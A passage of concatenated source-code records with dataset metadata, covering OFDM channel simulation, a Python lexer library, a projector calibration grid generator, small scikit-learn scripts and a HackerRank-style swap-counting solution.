arg_dict[\"axis\"] = [[1], [1, 2], [1, 2, 3]]\n arg_dict[\"split_axis\"] = [1]\n\n for arg in GenArgList(arg_dict):\n _test_two_stage_reduce(test_case, *arg)\n\n\ndef test_two_stage_reduce_min(test_case):\n arg_dict = OrderedDict()\n arg_dict[\"flow_func\"] = [flow.math.two_stage_reduce_min]\n arg_dict[\"np_func\"] = [np.minimum.reduce]\n arg_dict[\"device_type\"] = [\"cpu\", \"gpu\"]\n arg_dict[\"axis\"] = [[1], [1, 2], [1, 2, 3]]\n arg_dict[\"split_axis\"] = [1]\n\n for arg in GenArgList(arg_dict):\n _test_two_stage_reduce(test_case, *arg)\n","sub_path":"oneflow/python/test/ops/test_two_stage_reduce.py","file_name":"test_two_stage_reduce.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"444030279","text":"from __future__ import division\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch import autograd\nfrom torch.autograd import Variable\nimport struct\nimport os\nimport math\nfrom config import *\n\n\ndef Modulation(bits, mu):\n bit_r = bits.reshape((int(len(bits) / mu), mu))\n return 0.7071 * (2 * bit_r[:, 0] - 1) + 0.7071j * (2 * bit_r[:, 1] - 1) # This is just for QAM modulation\n\n\ndef deModulation(Q):\n Qr = np.real(Q)\n Qi = np.imag(Q)\n bits = np.zeros([256, 2])\n bits[:, 0] = Qr > 0\n bits[:, 1] = Qi > 0\n return bits.reshape([-1]) # This is just for QAM modulation\n\n\ndef IDFT(OFDM_data):\n return np.fft.ifft(OFDM_data)\n\n\ndef addCP(OFDM_time, CP, CP_flag, mu, K):\n if CP_flag == False:\n # add noise CP\n bits_noise = np.random.binomial(n=1, p=0.5, size=(K * mu,))\n codeword_noise = Modulation(bits_noise, mu)\n OFDM_data_nosie = codeword_noise\n OFDM_time_noise = np.fft.ifft(OFDM_data_nosie)\n cp = OFDM_time_noise[-CP:]\n else:\n cp = OFDM_time[-CP:] # take the last CP samples ...\n # cp = OFDM_time[-CP:]\n return np.hstack([cp, OFDM_time]) # ... and add them to the beginning\n\n\ndef channel(signal, channelResponse, SNRdb):\n convolved = np.convolve(signal, channelResponse)\n signal_power = np.mean(abs(convolved ** 2))\n sigma2 = signal_power * 10 ** (-SNRdb / 10)\n noise = np.sqrt(sigma2 / 2) * (np.random.randn(*convolved.shape) + 1j * np.random.randn(*convolved.shape))\n return convolved + noise\n\n\ndef removeCP(signal, CP, K):\n return signal[CP:(CP + K)]\n\n\ndef DFT(OFDM_RX):\n return np.fft.fft(OFDM_RX)\n\n\ndef equalize(OFDM_demod, Hest):\n return OFDM_demod / Hest\n\n\ndef get_payload(equalized):\n return equalized[dataCarriers]\n\n\ndef PS(bits):\n return bits.reshape((-1,))\n\n\ndef Clipping(x, CL):\n sigma = np.sqrt(np.mean(np.square(np.abs(x))))\n CL = CL * sigma\n x_clipped = x\n clipped_idx = abs(x_clipped) > CL\n x_clipped[clipped_idx] = np.divide((x_clipped[clipped_idx] * CL), abs(x_clipped[clipped_idx]))\n return x_clipped\n\n\ndef ofdm_simulate(codeword, channelResponse, SNRdb, mu, CP_flag, K, P, CP, pilotValue, pilotCarriers, dataCarriers,\n Clipping_Flag):\n # --- training inputs ----\n\n CR = 1\n OFDM_data = np.zeros(K, dtype=complex)\n OFDM_data[pilotCarriers] = pilotValue # allocate the pilot subcarrier\n OFDM_time = IDFT(OFDM_data)\n OFDM_withCP = addCP(OFDM_time, CP, CP_flag, mu, 2 * K)\n # OFDM_withCP = addCP(OFDM_time)\n OFDM_TX = OFDM_withCP\n if Clipping_Flag:\n OFDM_TX = Clipping(OFDM_TX, CR) # add clipping\n OFDM_RX = channel(OFDM_TX, channelResponse, SNRdb)\n OFDM_RX_noCP = removeCP(OFDM_RX, CP, K)\n OFDM_RX_noCP = np.fft.fft(OFDM_RX_noCP)\n # OFDM_RX_noCP = removeCP(OFDM_RX)\n # ----- target inputs ---\n symbol = np.zeros(K, dtype=complex)\n codeword_qam = Modulation(codeword, mu)\n if len(codeword_qam) != K:\n print('length of code word is not equal to K, error !!')\n symbol = codeword_qam\n OFDM_data_codeword = symbol\n OFDM_time_codeword = np.fft.ifft(OFDM_data_codeword)\n OFDM_withCP_cordword = addCP(OFDM_time_codeword, CP, CP_flag, mu, K)\n # OFDM_withCP_cordword = addCP(OFDM_time_codeword)\n if Clipping_Flag:\n OFDM_withCP_cordword = Clipping(OFDM_withCP_cordword, CR) # add clipping\n OFDM_RX_codeword = channel(OFDM_withCP_cordword, channelResponse, SNRdb)\n OFDM_RX_noCP_codeword = removeCP(OFDM_RX_codeword, CP, K)\n OFDM_RX_noCP_codeword = np.fft.fft(OFDM_RX_noCP_codeword)\n AA = np.concatenate((np.real(OFDM_RX_noCP), np.imag(OFDM_RX_noCP)))\n CC = OFDM_RX_noCP / np.max(AA)\n BB = np.concatenate((np.real(OFDM_RX_noCP_codeword), np.imag(OFDM_RX_noCP_codeword)))\n\n return np.concatenate((AA, BB)), CC # sparse_mask\n\n\ndef LS(X, HMIMO, SNRdb, P, flag):\n pilotValue, pilotCarriers = pilot(P)\n if flag == 1:\n cpflag, CR = 0, 0\n elif flag == 2:\n cpflag, CR = 0, 1\n else:\n cpflag, CR = 1, 0\n allCarriers = np.arange(K)\n dataCarriers = [val for val in allCarriers if not (val in pilotCarriers)]\n\n bits0 = X[0]\n bits1 = X[1]\n pilotCarriers1 = pilotCarriers[0:2 * P:2]\n pilotCarriers2 = pilotCarriers[1:2 * P:2]\n signal_output00, para = ofdm_simulate(bits0, HMIMO[0, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[0:2 * P:2],\n pilotCarriers1, dataCarriers, CR)\n signal_output01, para = ofdm_simulate(bits0, HMIMO[1, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[0:2 * P:2],\n pilotCarriers1, dataCarriers, CR)\n signal_output10, para = ofdm_simulate(bits1, HMIMO[2, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[1:2 * P:2],\n pilotCarriers2, dataCarriers, CR)\n signal_output11, para = ofdm_simulate(bits1, HMIMO[3, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[1:2 * P:2],\n pilotCarriers2, dataCarriers, CR)\n\n Xp0 = pilotValue[0:2 * P:2]\n Xp1 = pilotValue[1:2 * P:2]\n\n H_tilde00 = np.zeros(len(pilotCarriers1), dtype=complex)\n H_tilde01 = np.zeros(len(pilotCarriers1), dtype=complex)\n H_tilde10 = np.zeros(len(pilotCarriers1), dtype=complex)\n H_tilde11 = np.zeros(len(pilotCarriers1), dtype=complex)\n\n for i in range(len(pilotCarriers1)):\n H_tilde00[i] = (signal_output00[pilotCarriers1[i]] + 1j * signal_output00[K + pilotCarriers1[i]]) / Xp0[i]\n H_tilde01[i] = (signal_output01[pilotCarriers1[i]] + 1j * signal_output01[K + pilotCarriers1[i]]) / Xp0[i]\n H_tilde10[i] = (signal_output10[pilotCarriers2[i]] + 1j * signal_output10[K + pilotCarriers2[i]]) / Xp1[i]\n H_tilde11[i] = (signal_output11[pilotCarriers2[i]] + 1j * signal_output11[K + pilotCarriers2[i]]) / Xp1[i]\n\n\n\n return H_tilde00, H_tilde01, H_tilde10, H_tilde11\n\n\ndef MMSE(H_tilde, K, P, h, SNR, flag):\n P = P * 2\n Nps = K / P\n\n k = np.arange(len(h))\n hh = np.dot(h, np.transpose(np.conj(h)))\n tmp = h * np.conj(h) * k\n r = sum(tmp) / hh\n r2 = np.dot(tmp, np.transpose(k)) / hh\n tau_rms = math.sqrt(r2 - r * r)\n df = 1 / K\n j2pi_tau_df = 2j * math.pi * tau_rms * df\n K1 = ((np.arange(K)).repeat(int(P / 2))).reshape(K, int(P / 2))\n\n if flag == 0:\n K2 = (np.tile(np.arange(0, P, 2), K)).reshape(K, int(P / 2))\n K3 = ((np.arange(0, P, 2)).repeat(int(P / 2))).reshape(int(P / 2), int(P / 2))\n K4 = (np.tile(np.arange(0, P, 2), int(P / 2))).reshape(int(P / 2), int(P / 2))\n\n else:\n K2 = (np.tile(np.arange(1, P, 2), K)).reshape(K, int(P / 2))\n K3 = ((np.arange(1, P, 2)).repeat(int(P / 2))).reshape(int(P / 2), int(P / 2))\n K4 = (np.tile(np.arange(1, P, 2), int(P / 2))).reshape(int(P / 2), int(P / 2))\n\n rf = np.divide(1, (1 + j2pi_tau_df * (K1 - K2 * Nps)))\n rf2 = np.divide(1, (1 + j2pi_tau_df * (K3 - K4) * Nps))\n Rhp = rf\n Rpp = rf2 + np.divide(np.eye(len(H_tilde), len(H_tilde)), SNR)\n H_MMSE = np.dot(np.dot(Rhp, np.linalg.inv(Rpp)), np.transpose(H_tilde))\n\n h_MMSE = np.fft.ifft(H_MMSE, K)\n h_MMSE = h_MMSE[0:len(h)]\n H_MMSE = np.fft.fft(h_MMSE, K)\n return H_MMSE\n\n\ndef pilot(P):\n Pilot_file_name = 'Pilot_' + str(P * 2)\n if os.path.isfile(Pilot_file_name):\n # load file\n bits = np.loadtxt(Pilot_file_name, delimiter=',')\n else:\n # write file\n bits = np.random.binomial(n=1, p=0.5, size=(K * mu,))\n np.savetxt(Pilot_file_name, bits, delimiter=',')\n\n pilotValue = Modulation(bits, mu)\n\n allCarriers = np.arange(K)\n pilotCarriers = np.arange(0, K, K // (2 * P))\n\n return pilotValue, pilotCarriers\n\n\ndef MIMO(X, HMIMO, SNRdb, flag, P):\n pilotValue, pilotCarriers = pilot(P)\n\n if flag == 1:\n cpflag, CR = 0, 0\n elif flag == 2:\n cpflag, CR = 0, 1\n else:\n cpflag, CR = 1, 0\n allCarriers = np.arange(K)\n dataCarriers = [val for val in allCarriers if not (val in pilotCarriers)]\n\n bits0 = X[0]\n bits1 = X[1]\n pilotCarriers1 = pilotCarriers[0:2 * P:2]\n pilotCarriers2 = pilotCarriers[1:2 * P:2]\n signal_output00, para = ofdm_simulate(bits0, HMIMO[0, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[0:2 * P:2],\n pilotCarriers1, dataCarriers, CR)\n signal_output01, para = ofdm_simulate(bits0, HMIMO[1, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[0:2 * P:2],\n pilotCarriers1, dataCarriers, CR)\n signal_output10, para = ofdm_simulate(bits1, HMIMO[2, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[1:2 * P:2],\n pilotCarriers2, dataCarriers, CR)\n signal_output11, para = ofdm_simulate(bits1, HMIMO[3, :], SNRdb, mu, cpflag, K, P, CP, pilotValue[1:2 * P:2],\n pilotCarriers2, dataCarriers, CR)\n signal_output0 = signal_output00 + signal_output10\n signal_output1 = signal_output01 + signal_output11\n output = np.concatenate((signal_output0, signal_output1))\n output=np.reshape(output,[8,-1])\n output=np.transpose(np.reshape(output,[8,-1]),[1,0])#(256,8)\n\n return signal_output00, signal_output01, signal_output10, signal_output11, np.reshape(output,[-1])\n\n\nif __name__ == '__main__':\n print(\"test ofdm.py\")","sub_path":"2021.4.12/ofdm.py","file_name":"ofdm.py","file_ext":"py","file_size_in_byte":9311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"592786020","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.darwin-8.3.0-Power_Macintosh/egg/reflex.py\n# Compiled at: 2005-12-25 19:20:53\nr'''Reflex: A lightweight lexical scanner library.\n\nReflex supports regular expressions, rule actions, multiple scanner states,\ntracking of line/column numbers, and customizable token classes.\n\nReflex is not a \"scanner generator\" in the sense of generating source code.\nInstead, it generates a scanner object dynamically based on the set of\ninput rules sepecified. The rules themselves are ordinary python regular\nexpressions, combined with rule actions which are simply python functions.\n\nExample use:\n\n # Create a scanner. The \"start\" parameter specifies the name of the\n # starting state. Note: The state argument can be any hashable python\n # type.\n scanner = reflex.scanner( \"start\" )\n \n # Add some rules.\n # The whitespace rule has no actions, so whitespace will be skipped\n scanner.rule( \"\\s+\" )\n \n # Rules for identifiers and numbers.\n TOKEN_IDENT = 1\n TOKEN_NUMBER = 2\n scanner.rule( \"[a-zA-Z_][\\w_]*\", token=TOKEN_IDENT )\n scanner.rule( \"0x[\\da-fA-F]+|\\d+\", token=TOKEN_NUMBER )\n \n # The \"string\" rule kicks us into the string state\n TOKEN_STRING = 3\n scanner.rule( \"\"\", tostate=\"string\" )\n\n # Define the string state. \"string_escape\" and \"string_chars\" are\n # action functions which handle the parsed charaxcters and escape\n # sequences and append them to a buffer. Once a quotation mark\n # is encountered, we set the token type to be TOKEN_STRING\n # and return to the start state.\n scanner.state( \"string\" )\n scanner.rule( \"\"\", tostate=\"start\", token=TOKEN_STRING )\n scanner.rule( \"\\\\.\", string_escape )\n scanner.rule( \"[^\"\\\\]+\", string_text )\n\nInvoking the scanner: The scanner can be called as a function which\ntakes a reference to a stream (such as a file object) which iterates\nover input lines. The \"context\" argument is for application use,\nThe result is an iterator which produces a series of tokens.\nThe same scanner can be used to parse multiple input files, by\ncreating a new stream for each file.\n\n # Return an instance of the scanner.\n token_iter = scanner( istream, context )\n\nGetting the tokens. Here is a simple example of looping through the\ninput tokens. A real-world use would most likely involve comparing\nvs. the type of the current token.\n\n # token.id is the token type (the same as the token= argument in the rule)\n # token.value is the actual characters that make up the token.\n # token.line is the line number on which the token was encountered.\n # token.pos is the column number of the first character of the token.\n for token in token_iter:\n print token.id, token.value, token.line, token.pos\n \nAction functions are python functions which take a single argument, which\nis the token stream instance.\n\n # Action function to handle striing text.\n # Appends the value of the current token to the string data\n def string_text( token_stream ):\n string_data += scanner.token.value\n \nThe token_stream object has a number of interesting and usable attributes:\n\n states: dictionary of scanner states\n state: the current state\n stream: the input line stream\n context: the context pointer that was passed to the scanner\n token: the current token\n line: the line number of the current parse position\n pos: the column number of the current parse position\n \nNote - reflex currently has a limit of 99 rules for each state. (That is\nthe maximum number of capturing groups allowed in a python regular expression.)\n\n'''\n__author__ = 'Talin'\n__version__ = '0.1'\n\nclass token(object):\n \"\"\"Class representing a token\n \n Attributes:\n id -- the type of the token.\n value -- the characters that make up the text of the token.\n line -- the line number where the token occurred.\n pos -- the column number of the start of the token.\n \"\"\"\n __module__ = __name__\n __slots__ = [\n 'id', 'value', 'line', 'pos']\n\n def __init__(self, id, value, line, pos):\n self.id = id\n self.value = value\n self.line = line\n self.pos = pos\n\n def __str__(self):\n return '%s,%s:%s:%s' % (self.line, self.pos, self.id, self.value)\n\n\ndef set_token(token_id):\n \"\"\"Returns a callback function that sets the current scanner token type to 'token_id'.\"\"\"\n\n def set_token_func(scanner):\n scanner.token.id = token_id\n\n return set_token_func\n\n\ndef set_state(state_id):\n \"\"\"Returns a callback function that sets the current scanner state type to 'state_id'.\"\"\"\n\n def set_state_func(scanner):\n scanner.state = scanner.states[state_id]\n\n return set_state_func\n\n\nclass scanner(object):\n \"\"\"Class that defines the rules for a scanner.\"\"\"\n __module__ = __name__\n\n class st(object):\n __module__ = __name__\n __slots__ = ['name', 'rules', 're']\n\n def __init__(self, name):\n self.name = name\n self.rules = []\n self.re = None\n return\n\n def compile(self):\n import string, re\n if len(self.rules) > 99:\n raise ArgumentException('Too many rules for this state')\n pattern = string.join([ '(' + x[0] + ')' for x in self.rules ], '|')\n self.re = re.compile(pattern)\n\n class token_iter(object):\n \"\"\"An iterator class that returns a series of token objects parsed from the input stream.\"\"\"\n __module__ = __name__\n\n def __init__(self, scanner, stream, context):\n self.states = scanner.states\n self.state = scanner.start_state\n self.token_class = scanner.token_class\n self.stream = stream\n self.context = context\n self.linebuf = ''\n self.pos = 0\n self.line = 0\n self.token = None\n return\n\n def __iter__(self):\n return self\n\n def next(self):\n \"\"\"Returns the next token from the input stream.\"\"\"\n self.token = self.token_class(None, 0, 0, 0)\n while 1:\n if self.pos >= len(self.linebuf):\n try:\n self.line += 1\n self.pos = 0\n self.linebuf = self.stream.next()\n continue\n except StopIteration:\n raise StopIteration()\n\n match = self.state.re.match(self.linebuf, self.pos)\n if match:\n self.token.pos = self.pos\n self.token.line = self.line\n self.token.value = match.group()\n actions = self.state.rules[(match.lastindex - 1)][1]\n self.pos = match.end()\n for action in actions:\n action(self)\n\n if self.token.id:\n return self.token\n else:\n raise SyntaxError('No match: ' + self.linebuf[self.pos:-1])\n\n return\n\n def __init__(self, start_state=None, token_class=token):\n \"\"\"Initialize a new scanner type.\n The 'start_state' parameter is the name of the default starting state.\n The 'token_class' parameter is used to specify the type of tokens that should be created.\"\"\"\n self.states = {}\n self.refresh = True\n self.build_state = None\n self.start_state = None\n self.token_class = token_class\n if start_state != None:\n self.start_state = self.state(start_state)\n return\n\n def __call__(self, istream, context=None):\n \"\"\"Function call operator. Returns a token stream.\"\"\"\n if self.refresh:\n self.refresh = False\n for st in self.states.values():\n st.compile()\n\n return scanner.token_iter(self, istream, context)\n\n def state(self, state_name):\n \"\"\"Changes the current scanner state to state_name. If the specified\n state does not exist, then it will be created automatically. Any rules\n subsequently defined will be appended to the current state.\"\"\"\n if state_name in self.states:\n self.build_state = self.states[state_name]\n else:\n self.build_state = scanner.st(state_name)\n self.states[state_name] = self.build_state\n self.refresh = True\n return self.build_state\n\n def start(self, state_name):\n \"\"\"Sets the starting state.\"\"\"\n self.start_state = self.states[state_name]\n\n def rule(self, pattern, *actions, **kwargs):\n \"\"\"Defines a rule. The 'pattern' argument is a regular expression to match.\n The 'actions' argument is a list of actions to be run when this rule\n is matched.\n \n Two keyword arguments are recognized:\n \n - 'token' is the type of token to be returned. If this value is missing,\n then the token will be skipped (although actions will still be run).\n \n - 'tostate' is the state to transition to after parsing this token.\n \"\"\"\n if self.build_state == None:\n self.state('start')\n token = kwargs.get('token')\n if token:\n actions = actions + (set_token(token),)\n tostate = kwargs.get('tostate')\n if tostate:\n actions = actions + (set_state(tostate),)\n self.build_state.rules.append((pattern, actions))\n self.refresh = True\n return","sub_path":"pycfiles/reflex-0.1-py2.4/reflex.py","file_name":"reflex.py","file_ext":"py","file_size_in_byte":9707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"203348666","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 12 12:25:38 2018\n\n@author: CMBLAB\n\"\"\"\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#********This code works fine but it's not time bounded for some input cases.*********\n# I'have used Selection sort algorithm for this problem.[start at ###1 and ends at ###2]\n\n\n# Complete the minimumSwaps function below.\ndef minimumSwaps(arr):\n count = 0\n###1\n for i in range(0, len(arr) - 1):\n min_index = i\n for j in range(i+1 , len(arr)):\n if(arr[j] < arr[min_index]):\n min_index = j\n \n if(arr[min_index] < arr[i]):\n count = count + 1 \n arr[min_index], arr[i] = arr[i], arr[min_index]\n###2 \n return count\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n res = minimumSwaps(arr)\n\n fptr.write(str(res) + '\\n')\n\n fptr.close()\n","sub_path":"Minimum_Swaps_2_using_Selection_Sort.py","file_name":"Minimum_Swaps_2_using_Selection_Sort.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"487214873","text":"# linear SVM\n\nfrom sklearn.svm import SVC\n\n# linear SVM\nsvm = SVC(kernel='linear', C=1.0, random_state=1)\n\n# fit to training data\nsvm.fit(X_train_std, y_train)\n\n# plot\nplot_decision_regions(X_combined_std, y_combined, classifier=svm,\n test_idx=range(105, 150))\nplt.xlabel('petal length [standardized]')\nplt.ylabel('petal width [standardized]')\nplt.legend(loc='upper left')\nplt.tight_layout()\nplt.show()\n","sub_path":"c04/code/linear_svm.py","file_name":"linear_svm.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"548370032","text":"class Grid_generator:\n\tdef __init__(self):\n\t\tself.Init_constants()\n\n\tdef Init_constants(self):\n\t\t\"\"\"Set all member variables which may have changes after __init__ is called\"\"\"\n\n\t\tself.constants = op('select_output_info')\n\t\tself.grid_data = op('table_grid_data')\n\t\tself.destination_grid = op('table_points')\n\t\tself.c2p = op('null_c2p')\n\t\tself.grid_geometry = op('grid_template')\t\t\n\t\tself.bits_not_used_x = self.constants['bits_x'].eval() - self.constants['bits_to_use'].eval()\n\t\tself.bits_not_used_y = self.constants['bits_y'].eval() - self.constants['bits_to_use'].eval()\n\t\tself.grid_spacing_x = 2**self.bits_not_used_x\n\t\tself.grid_spacing_y = 2**self.bits_not_used_y\n\t\tself.num_rows = math.floor(parent.Calibrator.par.Projectorresolution2 / self.grid_spacing_y)\n\t\tself.num_cols = math.floor(parent.Calibrator.par.Projectorresolution1 / self.grid_spacing_x)\n\t\tself.placeholder_points_grid = op('sopto_points_placeholder')\n\t\tself.minimum_centroid_size = 4\n\n\tdef Init_grid(self):\n\t\t\"\"\"Initialize the grid with the correct number of rows and columns\"\"\"\n\n\t\tprint('Initializing grid with {}x{} pixel blocks'.format(self.grid_spacing_x, self.grid_spacing_y))\n\t\t\n\t\t# Setup the SOP\n\t\tself.grid_geometry.par.rows = self.num_rows\n\t\tself.grid_geometry.par.cols = self.num_cols\n\t\tself.grid_data.clear(keepFirstRow=True)\n\n\t\t# Set the center (i.e. the position which will store the UV coordinate)\n\t\tfor y in range(self.num_rows):\n\t\t\tfor x in range(self.num_cols):\n\t\t\t\tcenter_x = self.grid_spacing_x * x + self.grid_spacing_x // 2\n\t\t\t\tcenter_y = self.grid_spacing_y * y + self.grid_spacing_y // 2\n\t\t\t\tself.grid_data.appendRow([center_x, center_y, 0, 0, 0])\n\n\tdef Process_grid(self, verbose=False):\n\t\t\"\"\"Loop through every pixel in the c2p and build the correspondence between projector and camera pixels\"\"\"\n\n\t\t# Will be of dimensions: (h, w)\n\t\tpixels = self.c2p.numpyArray()\n\n\t\tfor cpx in range(self.c2p.width):\n\t\t\tfor cpy in range(self.c2p.height):\n\t\t\t\t# cpx and cpy are camera image pixel (from lower left) the projector pixels are encoded in the r and g channels\n\t\t\t\tppx, ppy, _, _ = pixels[cpy, cpx] \n\n\t\t\t\t# Many camera pixels do not store projector pixels - skip these\n\t\t\t\tif ppx < 0.0 or ppy < 0.0:\n\t\t\t\t\tcontinue\n\n\t\t\t\t# Figure out which grid cell this corresponds to\n\t\t\t\tcell_x = int(ppx // self.grid_spacing_x)\n\t\t\t\tcell_y = int(ppy // self.grid_spacing_y)\n\t\t\t\t\n\t\t\t\tif verbose:\n\t\t\t\t\tprint('projector pixel ({},{}) corresponds to grid cell ({}, {})'.format(ppx, ppy, cell_x, cell_y))\n\t\t\t\t\n\t\t\t\t# Skip the table header\n\t\t\t\ttable_row = cell_x + cell_y * self.num_cols + 1\n\t\t\t\t\n\t\t\t\tself.grid_data[table_row, 'cpx'] = int(self.grid_data[table_row, 'cpx'].val) + cpx\t\n\t\t\t\tself.grid_data[table_row, 'cpy'] = int(self.grid_data[table_row, 'cpy'].val) + cpy\n\t\t\t\tself.grid_data[table_row, 'count'] = int(self.grid_data[table_row, 'count'].val) + 1\t\t\n\n\tdef Compute_averages(self):\n\t\t\"\"\"Compute the average of every cell, which should give an approximation of the average\"\"\"\n\n\t\t# TODO: check to see if at least 4 camera pixels correspond \n\t\t# to this projector pixel, i.e. that the 'count' column is\n\t\t# 4 or greater\n\n\t\tfor row_index in range(1, self.grid_data.numRows):\n\t\t\tcount = int(self.grid_data[row_index, 'count'].val)\n\n\t\t\tif count:\n\t\t\t\tself.grid_data[row_index, 'cpx'] = float(self.grid_data[row_index, 'cpx'].val) / count\n\t\t\t\tself.grid_data[row_index, 'cpy'] = float(self.grid_data[row_index, 'cpy'].val) / count\n\n\tdef Copy_points(self):\n\t\t\"\"\"Replace the placeholder grid with one made from this data\"\"\"\n\n\t\tself.destination_grid.text = self.placeholder_points_grid.text\n\n\tdef Setup_grid_uvs(self):\n\t\t\"\"\"Get the UV coordinate for each point on the grid\"\"\"\n\n\t\tfor row_index in range(1, self.grid_data.numRows):\n\t\t\tuv_x = float(self.grid_data[row_index, 'cpx'].val) / parent.Calibrator.par.Cameraresolution1\n\t\t\tuv_y = float(self.grid_data[row_index, 'cpy'].val) / parent.Calibrator.par.Cameraresolution2\n\t\t\t\n\t\t\t# Cells that do not have values are set to -1 (this creates holes)\t\t\t\n\t\t\tif uv_x == 0.0 and uv_y == 0.0:\n\t\t\t\tuv_x = -1.0\n\t\t\t\tuv_y = -1.0\n\t\t\t\t\n\t\t\tself.destination_grid[row_index, 'uv(0)'] = uv_x\n\t\t\tself.destination_grid[row_index, 'uv(1)'] = uv_y\n\n\t\top('base_refine').par.Reset.pulse()\n\n\tdef Execute_all(self):\n\t\t\"\"\"Convenience method that calls all steps\"\"\"\n\n\t\tself.Init_constants()\n\t\tself.Init_grid()\n\t\tself.Process_grid()\n\t\tself.Compute_averages()\n\t\tself.Copy_points()\n\t\tself.Setup_grid_uvs()","sub_path":"touchdesigner/container_output_calibrator/base_grid_maker/text_grid_generator.py","file_name":"text_grid_generator.py","file_ext":"py","file_size_in_byte":4389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"264351468","text":"from datetime import datetime\nimport shelve\nimport urllib.request\nimport json\nfrom pprint import pprint\n\ndef search(d):\n\tquery=input(\"query:\")\n\tdt1= datetime.now()\n\tlistquery=query.split(\" \")\n\torcount=0;andcount=0;\n\tsearchkeys=set(listquery)\n\n\tfor item in searchkeys:\n\t\tif(item=='or'):\n\t\t\torcount+=1;\t\n\t\telif(item =='and'):\n\t\t\tandcount+=1;\t\n\t\t\n\tif(orcount>=1):\n\t\tsearchkeys.remove('or');\n\tif(andcount>=1):\n\t\tsearchkeys.remove('and');\n\t\t\n\tresult=set();\n\tdic = shelve.open(d);\n\tif(((orcount>=1) and (andcount>=1)) or (andcount>=1) or ((orcount==0) and (andcount==0))):\n\t\tfor k in searchkeys:\n\t\t\tif k in dic.keys():\n\t\t\t\ttemp=dic[k]\n\t\t\t\tif(len(result)==0):\n\t\t\t\t\tresult=temp;\n\t\t\t\telse:\n\t\t\t\t\tresult=result&temp;\n\t\t\t\n\telse:\n\t\tfor k in searchkeys:\n\t\t\tif k in dic.keys():\n\t\t\t\ttemp=dic[k]\n\t\t\t\tif(len(result)==0):\n\t\t\t\t\tresult=temp;\n\t\t\t\telse:\n\t\t\t\t\tresult=result|temp;\n\turlt=\"http://api.openweathermap.org/data/2.5/weather?q=\"\n\turlstring=urlt+query;\n\tprint(\"urlstring\",urlstring);\n\tpage = urllib.request.urlopen(urlstring)\n\tcontent=page.read()\n\tcontent_string = content.decode(\"utf-8\")\n\tjson_data = json.loads(content_string)\n\tpprint(json_data)\n\t\n\tif result:\n\t\tprint(result);\n\tdt2= datetime.now()\n\tprint(\"Execution time:\", dt2.microsecond-dt1.microsecond)","sub_path":"fifth_week_python_assignment/searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"222104206","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 27 16:31:22 2019\r\n\r\n@author: Dip\r\n\"\"\"\r\n\r\n\r\nimport tensorflow as tf\r\nfrom tensorflow.keras import models, layers, utils, regularizers, metrics, optimizers\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimport xgboost as xgb\r\n\r\nfrom sklearn.model_selection import StratifiedKFold, train_test_split, RandomizedSearchCV\r\nfrom tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau\r\nfrom sklearn.metrics import accuracy_score, auc, roc_curve, classification_report, roc_auc_score, confusion_matrix, recall_score, precision_score\r\nfrom sklearn.preprocessing import LabelEncoder\r\n\r\nfrom imblearn.combine import SMOTEENN, SMOTETomek\r\n\r\nfrom sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.svm import LinearSVC\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\n\r\n\r\nfrom datetime import datetime\r\n\r\nnow = datetime.now()\r\nf_name = str( now.strftime(\"%b_%d_%Y_%H%M%S\") ) + '.txt'\r\n\r\nf = open( f_name,'a')\r\n\r\ndef process_data( filename ):\r\n column_names = [\r\n 'AGE',\r\n 'MARITAL',\r\n 'GENDER',\r\n 'RACE',\r\n 'FPIR',\r\n 'EDULVL',\r\n 'BMI',\r\n 'WAIST',\r\n 'FAMDHIST',\r\n 'ALCOHOL',\r\n 'MVPA',\r\n 'SYST',\r\n 'DIAS',\r\n #'SLPDUR',\r\n #'DPLVL',\r\n 'SMOKE',\r\n 'SMPLWGT',\r\n 'LABEL'\r\n ]\r\n\r\n # Import training dataset\r\n dataset = pd.read_csv( filename, names=column_names, header = 0 )\r\n\r\n sample_weight = dataset[['SMPLWGT']].to_numpy()\r\n labels = dataset[['LABEL']].to_numpy()\r\n \r\n cat_features = dataset[['MARITAL','GENDER','RACE','EDULVL','FAMDHIST','ALCOHOL','SMOKE']]\r\n num_features = dataset[['AGE','FPIR','BMI','WAIST','MVPA','SYST','DIAS']].to_numpy()\r\n #num_features = dataset[['AGE','FPIR','BMI','WAIST','MVPA','SYST','DIAS','SLPDUR','DPLVL']].to_numpy()\r\n \r\n for col in cat_features:\r\n one_hot = 